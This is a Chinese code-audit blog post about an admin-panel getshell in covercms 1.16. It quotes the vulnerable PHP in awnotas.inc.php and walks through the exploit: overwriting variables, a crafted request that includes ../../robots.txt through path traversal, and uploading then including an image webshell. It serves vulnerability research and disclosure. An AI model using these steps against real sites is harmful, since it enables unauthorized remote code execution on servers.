• [代码审计]covercms 后台getshell


    0x00 环境介绍

    CMS名称: covercms

    运行环境: php 5.6.27-nts + apache + mysql

    系统版本: 1.16

    漏洞等级:高危

    漏洞简介: 后台awnotas.inc.php文件,在包含文件时候未过滤变量直接包含,可利用变量覆盖的方式达到任意文件包含以getshell。

    0x01 漏洞详情

    文件位置:  /admina/awnotas.inc.php ,位置21行,代码缩减了一部分便于我们分析

    $chids = array();
    foreach($channels as $chid => $channel){ //
        if(@$commus[$channel['cuid']]['cclass'] == 'answer'){ //必须满足这里,否则下面会直接退出
            $chids[] = $chid;
            $commu = read_cache('commu',$channel['cuid']);
            if(!empty($commu['setting']['nota'])) $notaenabled = 1;
        }
    }
    
    empty($chids) && amessage('undefanswerchannel'); //如果不满足会直接退出,覆盖不了
    empty($notaenabled) && amessage('notaclose');   //$notaenabled变量可以用覆盖的方式 绕过此处判断
    $page = !empty($page) ? max(1, intval($page)) : 1;
    submitcheck('bfilter') && $page = 1;
    if($action == 'awnotasedit'){ //这里 //注入后getshell
        //分析页面设置
        $nauid = empty($nauid) ? 0 : $nauid; //不设置nauid
        if($nauid && $aurl = read_cache('aurl',$nauid)){ //绕过 $u_tplname 被覆盖 $u_tplname=../../robots.txt
            $u_tplname = $aurl['tplname'];
            foreach(array('lists',) as $var) if($aurl['setting'][$var] !== '') ${'u_'.$var} = explode(',',$aurl['setting'][$var]);
        }
        ...
        if(!submitcheck('barcsedit')){ //令这里为false 直接不设置barcsedit变量
            if(empty($u_tplname)){
              ...
            }else @include(M_ROOT."./adminp/admina/$u_tplname");//直接包含 上传图片马,getshell

    分析代码之后,发现只需要增加一个答疑的channels,覆盖两个变量,便可以通过上传图片马,包含图片马的方式直接getshell。(增加一个答疑channels是必须的,否则代码执行不下去)

    操作步骤:

    1,登陆后台

    2,增加一个答疑的channels。

          访问 http://www.target.com/admina.php?entry=channels&action=channeledit

          

    点击添加,特俗交互项目选择答疑,模式名称随便填

    3,发送如下请求,包含robots.txt为例

    GET /admina.php?entry=awnotas&action=awnotasedit&notaenabled=1&u_tplname=../../robots.txt HTTP/1.1
    Host: www.covercms.cc
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: XPl_userauth=K6SSDCFuMWj6DF2NCB1UiFz9XImRQxVy6bieNTxDczuI7qWaNjsx8jf%2B; bktm_cookie_9=0; bktm_cookie_8=0; bktm_cookie_7=0; bktm_cookie_6=0; bktm_cookie_5=0; bktm_cookie_4=0; bktm_cookie_3=0; bktm_cookie_2=0; bktm_cookie_1=0; bktm_cookie_0=0; XPl_msid=H3pK4A
    Connection: close

    成功包含

    4,上传一个图片马,包含图片马,直接getshell。(直接修改附件增加php后缀是不行的)

    因为后台文件上传默认要大于1024k ,所以文件需要大一点。

     或者直接修改最小上传限制为0即可

    上传成功后会返回图片路径

    配合之前的请求,修改一下路径,即可包含getshell。

     

    0x02 总结与思考

    配合我之前发的文章,就是一套带走了。

    本文章仅用于学习研究之用,请勿用于违法犯罪!!

  • 相关阅读:
    车牌定位与畸变校正(python3.7,opencv4.0)
    TensorFlow 2.0 Alpha/Beta pip安装指令
    pandas 获取数据帧DataFrame的行、列数
    pandas 对数据帧DataFrame中数据的增删、补全及转换操作
    pandas 对数据帧DataFrame中数据的索引及切片操作
    Exception: Exception caught in workbook destructor. Explicit close() may be required for workbook. 错误解决办法
    pandas对Excel文件的读写操作
    第一个WPF程序(串口调试)
    [C#]AdvPropertyGrid的使用示例(第三方控件:DevComponents.DotNetBar2.dll)
    C# 获得本地通用网卡信息
  • 原文地址:https://www.cnblogs.com/r00tuser/p/8663242.html
Copyright © 2020-2023  润新知